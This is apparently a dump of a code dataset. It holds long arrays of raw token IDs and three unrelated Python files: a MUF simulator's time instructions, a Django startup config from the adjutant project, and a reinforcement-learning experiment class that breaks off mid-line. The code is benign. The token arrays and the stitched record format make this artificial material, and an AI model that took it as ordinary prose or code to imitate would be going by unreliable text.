1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1208, 4626, 403, 29907, 7297, 4543, 29879, 29898, 2557, 29918, 2080, 29892, 5446, 9748, 29892, 10153, 9748, 1125, 13, 4706, 3240, 29892, 286, 7508, 29892, 1320, 29892, 364, 2003, 29879, 29892, 260, 2003, 29879, 353, 13850, 29906, 29889, 1052, 4626, 403, 20717, 29898, 5415, 9748, 29892, 29871, 13, 462, 462, 462, 965, 10153, 9748, 29892, 29871, 13, 462, 462, 462, 965, 3515, 29918, 2080, 29889, 12181, 29961, 1057, 29899, 29896, 1402, 29871, 13, 462, 462, 462, 965, 6213, 29892, 29871, 13, 462, 462, 462, 965, 6213, 29897, 13, 4706, 2025, 29918, 2704, 353, 29871, 29900, 13, 4706, 2099, 29918, 2704, 353, 29871, 29900, 13, 4706, 363, 474, 297, 3464, 29898, 2435, 29898, 5415, 9748, 22164, 13, 9651, 10153, 9748, 29906, 29892, 903, 353, 13850, 29906, 29889, 4836, 20325, 29898, 5415, 9748, 29961, 29875, 1402, 364, 2003, 29879, 29961, 29875, 1402, 260, 2003, 29879, 29961, 29875, 1402, 286, 7508, 29892, 1320, 29897, 13, 9651, 1059, 353, 13850, 29906, 29889, 12324, 29898, 2492, 9748, 29961, 29875, 1402, 2492, 9748, 29906, 29892, 13850, 29906, 29889, 29940, 12054, 29918, 29931, 29906, 6802, 2435, 29898, 2492, 9748, 29906, 29897, 13, 9651, 2025, 29918, 2704, 4619, 1059, 13, 13, 4706, 1596, 703, 7827, 1059, 29901, 9162, 2099, 29918, 2704, 29914, 2435, 29898, 5415, 9748, 876, 13, 13, 4706, 736, 3240, 29892, 286, 7508, 29892, 1320, 29892, 364, 2003, 29879, 29892, 260, 2003, 29879, 13, 13, 1678, 396, 2046, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 29938, 13, 1678, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 1243, 1785, 305, 29898, 9641, 29918, 4993, 29922, 29906, 1125, 13, 4706, 10446, 353, 13850, 29906, 29889, 15167, 21133, 545, 29898, 9641, 29918, 4993, 29897, 13, 13, 4706, 2302, 29918, 2557, 353, 29871, 29900, 13, 4706, 1550, 29871, 29896, 29901, 13, 9651, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 9651, 1596, 877, 1052, 4626, 403, 2106, 856, 1495, 13, 9651, 4660, 353, 6213, 13, 9651, 1550, 4660, 338, 6213, 29901, 29871, 13, 18884, 4660, 353, 6213, 13, 18884, 3240, 29892, 3515, 29918, 2080, 353, 10446, 29889, 949, 580, 13, 18884, 1596, 29898, 2798, 29918, 2557, 29897, 13, 18884, 2302, 29918, 2557, 4619, 29871, 29896, 13, 13, 18884, 3515, 29918, 305, 404, 29892, 5446, 9748, 29892, 10153, 9748, 29892, 4660, 353, 24321, 7856, 26218, 29889, 2886, 29918, 305, 404, 29898, 2557, 29918, 2080, 29897, 13, 18884, 14770, 29889, 326, 4294, 29898, 2557, 29918, 305, 404, 29897, 13, 18884, 14770, 29889, 4294, 580, 13, 13, 9651, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 9651, 3515, 29918, 21012, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 2557, 29918, 2080, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 29954, 22800, 29897, 13, 9651, 14770, 29889, 326, 4294, 29898, 2557, 29918, 21012, 29897, 13, 9651, 14770, 29889, 4294, 580, 13, 13, 9651, 3240, 29892, 286, 7508, 29892, 1320, 29892, 364, 2003, 29879, 29892, 260, 2003, 29879, 353, 24321, 7856, 26218, 29889, 1052, 4626, 403, 29907, 7297, 4543, 29879, 29898, 2557, 29918, 21012, 29892, 5446, 9748, 29892, 10153, 9748, 29897, 13, 13, 9651, 298, 29892, 29871, 281, 353, 3515, 29918, 21012, 29889, 12181, 7503, 29906, 29962, 13, 9651, 716, 29883, 4183, 314, 7508, 29892, 14100, 353, 11023, 29906, 29889, 657, 20624, 3039, 4373, 20717, 14609, 29898, 4378, 29916, 29892, 1320, 29892, 313, 29893, 29892, 298, 511, 29871, 29896, 29892, 313, 29893, 29892, 298, 876, 13, 13, 9651, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 9651, 1596, 877, 1688, 2106, 856, 1495, 13, 9651, 1550, 29871, 29896, 29901, 13, 18884, 3240, 29892, 3515, 29918, 2080, 353, 10446, 29889, 949, 580, 13, 13, 18884, 3515, 29918, 21012, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 2557, 29918, 2080, 29892, 11023, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 29954, 22800, 29897, 13, 18884, 298, 29892, 29871, 281, 353, 3515, 29918, 21012, 29889, 12181, 7503, 29906, 29962, 13, 18884, 716, 29883, 4183, 314, 7508, 29892, 14100, 353, 11023, 29906, 29889, 657, 20624, 3039, 4373, 20717, 14609, 29898, 4378, 29916, 29892, 1320, 29892, 313, 29893, 29892, 298, 511, 29871, 29896, 29892, 313, 29893, 29892, 298, 876, 13, 13, 18884, 3515, 29918, 870, 391, 353, 13850, 29906, 29889, 870, 391, 441, 29898, 2557, 29918, 2080, 29892, 286, 7508, 29892, 1320, 29892, 6213, 29892, 716, 29883, 4183, 314, 7508, 29897, 13, 18884, 921, 29892, 29891, 29892, 29893, 29892, 29882, 353, 14100, 13, 18884, 1596, 29898, 29916, 29892, 29891, 29892, 29893, 29892, 29882, 29897, 13, 18884, 396, 3515, 29918, 870, 391, 353, 3515, 29918, 870, 391, 29961, 29891, 29901, 29891, 29974, 29882, 29892, 921, 29901, 29916, 29974, 29893, 29962, 13, 13, 18884, 3515, 29918, 17685, 353, 7442, 29889, 535, 29883, 2579, 403, 3552, 2557, 29918, 870, 391, 29892, 3515, 29918, 2080, 511, 9685, 29922, 29896, 29897, 13, 13, 18884, 14770, 29889, 326, 4294, 29898, 2557, 29918, 17685, 29897, 13, 18884, 14770, 29889, 4294, 580, 13, 462, 13, 18884, 396, 448, 2683, 2683, 2683, 1378, 29899, 13, 18884, 396, 12783, 1599, 8528, 1806, 1550, 13, 18884, 396, 1550, 29871, 29896, 29901, 13, 18884, 396, 259, 413, 353, 13850, 29906, 29889, 10685, 2558, 29898, 29896, 29897, 669, 29871, 29900, 29916, 600, 13, 18884, 396, 259, 565, 413, 1275, 29896, 29941, 470, 413, 1360, 29906, 29955, 29901, 13, 18884, 396, 268, 2867, 13, 13, 18884, 396, 565, 413, 1275, 29871, 29906, 29955, 29901, 13, 18884, 396, 268, 2867, 13, 18884, 396, 448, 2683, 2683, 2683, 1378, 29899, 13, 13, 4706, 10446, 29889, 14096, 580, 13, 4706, 13850, 29906, 29889, 20524, 3596, 7685, 580, 13, 13, 1678, 396, 2046, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 29938, 13, 1678, 396, 29871, 718, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 1817, 29974, 13, 1678, 732, 7959, 5696, 13, 1678, 822, 679, 25971, 29898, 9641, 29918, 4993, 29922, 29900, 1125, 13, 4706, 10446, 353, 13850, 29906, 29889, 15167, 21133, 545, 29898, 9641, 29918, 4993, 29897, 13, 13, 4706, 1550, 29871, 29896, 29901, 29871, 13, 9651, 3240, 29892, 3515, 29918, 2080, 353, 10446, 29889, 949, 580, 13, 13, 9651, 3515, 29918, 1220, 353, 3515, 29918, 2080, 13, 9651, 3515, 29918, 4905, 353, 13850, 29906, 29889, 1220, 29898, 2557, 29918, 1220, 29892, 13, 462, 462, 1678, 313, 29900, 29892, 3515, 29918, 1220, 29889, 12181, 29961, 29900, 29962, 458, 29906, 511, 13, 462, 462, 1678, 313, 2557, 29918, 1220, 29889, 12181, 29961, 29896, 1402, 3515, 29918, 1220, 29889, 12181, 29961, 29900, 29962, 458, 29906, 511, 13, 462, 462, 1678, 313, 29906, 29945, 29945, 29892, 29900, 29892, 29900, 511, 13, 462, 462, 268, 29896, 29897, 13, 13, 9651, 3515, 29918, 4905, 353, 13850, 29906, 29889, 1220, 29898, 2557, 29918, 1220, 29892, 13, 462, 462, 1678, 313, 2557, 29918, 1220, 29889, 12181, 29961, 29896, 29962, 458, 29906, 29892, 29871, 29900, 511, 13, 462, 462, 1678, 313, 2557, 29918, 1220, 29889, 12181, 29961, 29896, 29962, 458, 29906, 29892, 3515, 29918, 1220, 29889, 12181, 29961, 29900, 11724, 13, 462, 462, 1678, 313, 29906, 29945, 29945, 29892, 29900, 29892, 29900, 511, 13, 462, 462, 268, 29896, 29897, 13, 13, 9651, 13850, 29906, 29889, 326, 4294, 703, 15167, 613, 3515, 29918, 1220, 29897, 13, 13, 9651, 396, 448, 2683, 2683, 2683, 2683, 2683, 2683, 2683, 29899, 13, 9651, 396, 12783, 1599, 8528, 1806, 1550, 13, 9651, 413, 353, 13850, 29906, 29889, 10685, 2558, 29898, 29941, 29900, 29897, 669, 29871, 29900, 29916, 600, 13, 9651, 565, 413, 1275, 29871, 29906, 29955, 29901, 13, 18884, 2867, 13, 9651, 396, 448, 2683, 2683, 2683, 2683, 2683, 2683, 2683, 29899, 13, 13, 4706, 396, 448, 2683, 2683, 2683, 2683, 2683, 2683, 2683, 23648, 13, 4706, 3240, 29892, 3515, 29918, 2080, 353, 10446, 29889, 949, 580, 13, 4706, 3515, 29918, 2080, 353, 13850, 29906, 29889, 11023, 29873, 3306, 29898, 2557, 29918, 2080, 29892, 13850, 29906, 29889, 15032, 1955, 29918, 29933, 14345, 29906, 28212, 29897, 13, 308, 13, 4706, 14770, 29889, 326, 4294, 29898, 2557, 29918, 2080, 29897, 13, 4706, 14770, 29889, 486, 7358, 4197, 2314, 13, 4706, 14770, 29889, 3637, 7358, 4197, 2314, 13, 4706, 14770, 29889, 4294, 580, 13, 13, 4706, 396, 448, 2683, 2683, 2683, 2683, 2683, 2683, 2683, 23648, 13, 4706, 10446, 29889, 14096, 580, 13, 4706, 13850, 29906, 29889, 20524, 3596, 7685, 580, 13, 13, 13, 13, 13, 29937, 2046, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 29938, 13, 29937, 2046, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 29938, 13, 29937, 2046, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 3997, 29938, 13, 29937, 24321, 7856, 26218, 29889, 1688, 1785, 305, 29898, 9641, 29918, 4993, 29922, 29906, 29897, 2 ]
mufsim/insts/timedate.py
revarbat/mufsim
1
59594
import time # from mufsim.errors import MufRuntimeError from mufsim.insts.base import Instruction, instr @instr("date") class InstDate(Instruction): def execute(self, fr): when = time.localtime() fr.data_push(int(when.tm_mday)) fr.data_push(int(when.tm_mon)) fr.data_push(int(when.tm_year)) @instr("time") class InstTime(Instruction): def execute(self, fr): when = time.localtime() fr.data_push(int(when.tm_sec)) fr.data_push(int(when.tm_min)) fr.data_push(int(when.tm_hour)) @instr("gmtoffset") class InstGmtOffset(Instruction): def execute(self, fr): fr.data_push(-time.timezone) @instr("timesplit") class InstTimeSplit(Instruction): def execute(self, fr): secs = fr.data_pop(int) when = time.localtime(secs) fr.data_push(int(when.tm_sec)) fr.data_push(int(when.tm_min)) fr.data_push(int(when.tm_hour)) fr.data_push(int(when.tm_mday)) fr.data_push(int(when.tm_mon)) fr.data_push(int(when.tm_year)) fr.data_push(int(when.tm_wday) + 1) fr.data_push(int(when.tm_yday)) @instr("timefmt") class InstTimeFmt(Instruction): def execute(self, fr): fr.check_underflow(2) when = fr.data_pop(int) fmt = fr.data_pop(str) when = time.localtime(when) fr.data_push(time.strftime(fmt, when)) @instr("systime") class InstSysTime(Instruction): def execute(self, fr): fr.data_push(int(time.time())) @instr("systime_precise") class InstSysTimePrecise(Instruction): def execute(self, fr): fr.data_push(float(time.time())) # vim: expandtab tabstop=4 shiftwidth=4 softtabstop=4 nowrap
[ 1, 1053, 931, 13, 13, 29937, 515, 286, 1137, 3601, 29889, 12523, 1053, 341, 1137, 7944, 2392, 13, 3166, 286, 1137, 3601, 29889, 2611, 29879, 29889, 3188, 1053, 2799, 4080, 29892, 297, 710, 13, 13, 13, 29992, 262, 710, 703, 1256, 1159, 13, 1990, 2799, 2539, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 746, 353, 931, 29889, 2997, 2230, 580, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 29885, 3250, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 3712, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 6360, 876, 13, 13, 13, 29992, 262, 710, 703, 2230, 1159, 13, 1990, 2799, 2481, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 746, 353, 931, 29889, 2997, 2230, 580, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 3471, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 1195, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 18721, 876, 13, 13, 13, 29992, 262, 710, 703, 29887, 29885, 517, 600, 842, 1159, 13, 1990, 2799, 29954, 4378, 10302, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 1424, 29889, 1272, 29918, 5910, 6278, 2230, 29889, 2230, 8028, 29897, 13, 13, 13, 29992, 262, 710, 703, 3706, 2830, 1159, 13, 1990, 2799, 2481, 18772, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 409, 2395, 353, 1424, 29889, 1272, 29918, 7323, 29898, 524, 29897, 13, 4706, 746, 353, 931, 29889, 2997, 2230, 29898, 344, 2395, 29897, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 3471, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 1195, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 18721, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 29885, 3250, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 3712, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 6360, 876, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 29893, 3250, 29897, 718, 29871, 29896, 29897, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 8256, 29889, 18276, 29918, 2941, 388, 876, 13, 13, 13, 29992, 262, 710, 703, 2230, 23479, 1159, 13, 1990, 2799, 2481, 29943, 4378, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 1424, 29889, 3198, 29918, 5062, 1731, 29898, 29906, 29897, 13, 4706, 746, 353, 1424, 29889, 1272, 29918, 7323, 29898, 524, 29897, 13, 4706, 19200, 353, 1424, 29889, 1272, 29918, 7323, 29898, 710, 29897, 13, 4706, 746, 353, 931, 29889, 2997, 2230, 29898, 8256, 29897, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 2230, 29889, 710, 615, 603, 29898, 23479, 29892, 746, 876, 13, 13, 13, 29992, 262, 710, 703, 29879, 858, 603, 1159, 13, 1990, 2799, 29903, 952, 2481, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 524, 29898, 2230, 29889, 2230, 22130, 13, 13, 13, 29992, 262, 710, 703, 29879, 858, 603, 29918, 17990, 895, 1159, 13, 1990, 2799, 29903, 952, 2481, 29925, 3757, 895, 29898, 3379, 4080, 1125, 13, 1678, 822, 6222, 29898, 1311, 29892, 1424, 1125, 13, 4706, 1424, 29889, 1272, 29918, 5910, 29898, 7411, 29898, 2230, 29889, 2230, 22130, 13, 13, 13, 29937, 325, 326, 29901, 7985, 3891, 4434, 9847, 29922, 29946, 9500, 2103, 29922, 29946, 4964, 3891, 9847, 29922, 29946, 1286, 2390, 13, 2 ]
adjutant/startup/config.py
knikolla/adjutant
21
1604042
# Copyright (C) 2019 Catalyst Cloud Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from django.apps import AppConfig from adjutant.startup import checks from adjutant.startup import loading class StartUpConfig(AppConfig): name = "adjutant.startup" def ready(self): """A pre-startup function for the api Code run here will occur before the API is up and active but after all models have been loaded. Loads feature_sets. Useful for any start up checks. """ # load all the feature sets loading.load_feature_sets() # First check that all expect DelegateAPIs are present checks.check_expected_delegate_apis() # Now check if all the actions those views expecte are present. checks.check_configured_actions()
[ 1, 396, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29929, 11732, 858, 14293, 19806, 13, 29937, 13, 29937, 1678, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 366, 1122, 13, 29937, 1678, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 887, 1122, 4017, 13, 29937, 1678, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 308, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 1678, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 1678, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 399, 1806, 8187, 2692, 13, 29937, 1678, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 2823, 278, 13, 29937, 1678, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 27028, 13, 29937, 1678, 1090, 278, 19245, 29889, 13, 13, 3166, 9557, 29889, 13371, 1053, 2401, 3991, 13, 13, 3166, 12109, 329, 424, 29889, 2962, 786, 1053, 12747, 13, 3166, 12109, 329, 424, 29889, 2962, 786, 1053, 8363, 13, 13, 13, 1990, 7370, 3373, 3991, 29898, 2052, 3991, 1125, 13, 1678, 1024, 353, 376, 26859, 329, 424, 29889, 2962, 786, 29908, 13, 13, 1678, 822, 7960, 29898, 1311, 1125, 13, 4706, 9995, 29909, 758, 29899, 2962, 786, 740, 363, 278, 7882, 13, 13, 4706, 5920, 1065, 1244, 674, 6403, 1434, 278, 3450, 338, 701, 322, 6136, 541, 1156, 13, 4706, 599, 4733, 505, 1063, 7500, 29889, 13, 13, 4706, 4309, 7925, 4682, 29918, 7224, 29889, 13, 13, 4706, 4803, 1319, 363, 738, 1369, 701, 12747, 29889, 13, 4706, 9995, 13, 4706, 396, 2254, 599, 278, 4682, 6166, 13, 4706, 8363, 29889, 1359, 29918, 14394, 29918, 7224, 580, 13, 13, 4706, 396, 3824, 1423, 393, 599, 2149, 897, 6045, 8787, 29879, 526, 2198, 13, 4706, 12747, 29889, 3198, 29918, 9684, 29918, 21234, 29918, 11355, 580, 13, 4706, 396, 2567, 1423, 565, 599, 278, 8820, 1906, 8386, 2149, 29872, 526, 2198, 29889, 13, 4706, 12747, 29889, 3198, 29918, 2917, 2955, 29918, 7387, 580, 13, 2 ]
simple_rl/experiments/ExperimentClass.py
melroderick/simple_rl
0
66282
''' ExperimentClass.py: Contains the Experiment Class for reproducing RL Experiments. Purpose: - Stores all relevant parameters in experiment directory for easy reproducibility. - Auto generates plot using chart_utils. - Can document learning activity. ''' # Python imports. from __future__ import print_function import os from collections import defaultdict # Other imports. from simple_rl.utils import chart_utils from simple_rl.experiments.ExperimentParametersClass import ExperimentParameters class Experiment(object): FULL_EXP_FILE_NAME = "full_experiment_data.json" EXP_PARAM_FILE_NAME = "readable_experiment_data.txt" ''' Experiment Class for RL Experiments ''' # Dumps the results in a directory called "results" in the current working dir. RESULTS_DIR = os.path.join(os.getcwd(), "results", "") def __init__(self, agents, mdp, agent_colors=[], params=None, is_episodic=False, is_markov_game=False, is_lifelong=False, track_disc_reward=False, clear_old_results=True, count_r_per_n_timestep=1, cumulative_plot=True, exp_function="run_agents_on_mdp", dir_for_plot="", experiment_name_prefix="", track_success=False, success_reward=None): ''' Args: agents (list) mdp (MDP) agent_colors (list) params (dict) is_episodic (bool) is_markov_game (bool) is_lifelong (bool) clear_old_results (bool) count_r_per_n_timestep (int) cumulative_plot (bool) exp_function (lambda): tracks with run_experiments.py function was called. dir_for_plot (str) experiment_name_prefix (str) track_success (bool) success_reward (int) ''' # Store all relevant bools. self.agents = agents self.agent_colors = range(len(self.agents)) if agent_colors == [] else agent_colors params["track_disc_reward"] = track_disc_reward self.parameters = ExperimentParameters(params) self.mdp = mdp self.track_disc_reward = track_disc_reward self.count_r_per_n_timestep = count_r_per_n_timestep self.steps_since_added_r = 1 self.rew_since_count = 0 self.cumulative_plot = cumulative_plot self.name = str(self.mdp) self.rewards = defaultdict(list) self.times = defaultdict(list) if dir_for_plot == "": self.exp_directory = os.path.join(Experiment.RESULTS_DIR, self.name) else: self.exp_directory = os.path.join(os.getcwd(), dir_for_plot, self.name) self.experiment_name_prefix = experiment_name_prefix self.is_episodic = is_episodic self.is_markov_game = is_markov_game self.track_success = track_success self.success_reward = success_reward self._setup_files(clear_old_results) # Write experiment reproduction file. self._make_and_write_agent_and_mdp_params(agents, mdp, self.parameters.params, exp_function) def _make_and_write_agent_and_mdp_params(self, agents, mdp, parameters, exp_function): ''' Args: agents mdp parameters Summary: Writes enough detail about @agents, @mdp, and @parameters to the file results/<exp_name>/params.txt so that the function simple_rl.run_experiments.reproduce_from_exp_file can rerun the experiment. ''' import json out_file = open(os.path.join(self.exp_directory, Experiment.FULL_EXP_FILE_NAME), "w") if not self._is_valid_mdp_type(mdp): print("Warning (simple_rl): Cannot track and reproduce experiments for MDPs of type `" + str(type(mdp)) + "'.") return # Dict to hold all experiment info to write to json. all_exp_info_dict = {} # MDP. mdp_class = str(type(mdp)) mdp_params = mdp.get_parameters() all_exp_info_dict["MDP"] = {"name":mdp_class, "params":mdp_params} # Get agents and their parameters. all_exp_info_dict["AGENTS"] = defaultdict(lambda: defaultdict(str)) for i, agent in enumerate(agents): agent_params = agent.get_parameters() agent_class = str(type(agent)) all_exp_info_dict["AGENTS"][agent_class]["params"] = agent_params all_exp_info_dict["AGENTS"][agent_class]["index"] = i # Misc. Params. all_exp_info_dict["MISC"] = parameters # Function called. all_exp_info_dict["FUNC"] = exp_function # Encode and store. from simple_rl.utils.additional_datastructures import TupleEncoder encoder = TupleEncoder() data_to_store = encoder.encode(all_exp_info_dict) load_enc = json.loads(data_to_store) json.dump(load_enc, out_file, indent=4) out_file.close() return def _is_valid_mdp_type(self, mdp): from simple_rl.mdp import OOMDP, MDPDistribution from simple_rl.pomdp.POMDPClass import POMDP from simple_rl.mdp.markov_game.MarkovGameMDPClass import MarkovGameMDP from simple_rl.tasks import BanditMDP if isinstance(mdp, OOMDP) \ or isinstance(mdp, POMDP) \ or isinstance(mdp, MarkovGameMDP) \ or isinstance(mdp, MDPDistribution) \ or isinstance(mdp, BanditMDP): return False return True def _setup_files(self, clear_old_results=True): ''' Summary: Creates and removes relevant directories/files. ''' if not os.path.exists(os.path.join(self.exp_directory, "")): os.makedirs(self.exp_directory) elif clear_old_results: for agent in self.agents: if os.path.exists(os.path.join(self.exp_directory, str(agent)) + ".csv"): os.remove(os.path.join(self.exp_directory, str(agent)) + ".csv") if os.path.exists(os.path.join(self.exp_directory, "times", str(agent)) + ".csv"): os.remove(os.path.join(self.exp_directory, "times", str(agent)) + ".csv") if os.path.exists(os.path.join(self.exp_directory, "success", str(agent)) + ".csv"): os.remove(os.path.join(self.exp_directory, "success", str(agent)) + ".csv") self.write_exp_info_to_file() def make_plots(self, open_plot=True): ''' Summary: Makes plots for the current experiment. ''' if self.is_markov_game: agent_name_ls = [agent_name for agent_name in self.agents.keys()] else: agent_name_ls = [a.get_name() for a in self.agents] if self.experiment_name_prefix != "": plot_file_name = self.experiment_name_prefix + str(self.mdp) else: plot_file_name = "" chart_utils.make_plots(self.exp_directory, agent_name_ls, episodic=self.is_episodic, plot_file_name=plot_file_name, cumulative=self.cumulative_plot, track_disc_reward=self.track_disc_reward, open_plot=open_plot) if self.track_success: print(os.path.join("success", self.exp_directory)) chart_utils.make_plots(os.path.join(self.exp_directory, "success"), agent_name_ls, episodic=True, plot_file_name="success_rate", cumulative=False, track_disc_reward=False, open_plot=open_plot, new_title="Success Rate", new_x_label="Episode Number", new_y_label="Avg. Success %") def _write_extra_datum_to_file(self, mdp_name, agent, datum, datum_name): out_file = open(os.path.join(self.exp_directory, str(agent)) + "-" + datum_name + ".csv", "a+") out_file.write(str(datum) + ",") out_file.close() def get_agent_avg_cumulative_rew(self, agent): result_file = open(os.path.join(self.exp_directory, str(agent)) + ".csv", "r") total = 0 num_lines = 0 for line in result_file.readlines(): total += sum([float(datum) for datum in line.strip().split(",")[:-1]]) num_lines += 1 result_file.close() return total / num_lines def add_experience(self, agent, state, action, reward, next_state, time_taken=0): ''' Args: agent (agent OR dict): if self.is_markov_game, contains a dict of agents Summary: Record any relevant information about this experience. ''' # Markov Game. if self.is_markov_game: for a in agent: self.rewards[a] += [reward[a]] return # Regular MDP. if self.steps_since_added_r % self.count_r_per_n_timestep == 0: if self.is_markov_game and self.count_r_per_n_timestep > 1: raise ValueError("(simple_rl) Experiment Error: can't track markov games per step. (set rew_step_count to 1).") else: self.rewards[agent] += [self.rew_since_count + reward] self.times[agent] += [time_taken] self.rew_since_count = 0 self.steps_since_added_r = 1 else: self.rew_since_count += reward self.steps_since_added_r += 1 def end_of_episode(self, agent, num_times_to_write=1): ''' Args: agent (str) Summary: Writes reward data from this episode to file and resets the reward. ''' if self.is_episodic: for x in range(num_times_to_write): self.write_datum_to_file(agent, sum(self.rewards[agent])) self.write_datum_to_file(agent, sum(self.times[agent]), extra_dir="times/") if self.track_success: self.write_datum_to_file(agent, int(self.rewards[agent][-1] >= self.success_reward), extra_dir="success/") else: for x in range(num_times_to_write): for step_reward in self.rewards[agent]: self.write_datum_to_file(agent, step_reward) self.rewards[agent] = [] def end_of_instance(self, agent): ''' Summary: Adds a new line to indicate we're onto a new instance. ''' # out_file = open(os.path.join(self.exp_directory, str(agent)) + ".csv", "a+") out_file.write("\n") out_file.close() if self.track_success: out_file = open(os.path.join(self.exp_directory, "success", str(agent)) + ".csv", "a+") out_file.write("\n") out_file.close() if os.path.isdir(os.path.join(self.exp_directory, "times", "")): out_file = open(os.path.join(self.exp_directory, "times", str(agent)) + ".csv", "a+") out_file.write("\n") out_file.close() def write_datum_to_file(self, agent, datum, extra_dir=""): ''' Summary: Writes datum to file. ''' if extra_dir != "" and not os.path.isdir(self.exp_directory + "/" + extra_dir): os.makedirs(os.path.join(self.exp_directory, extra_dir)) out_file = 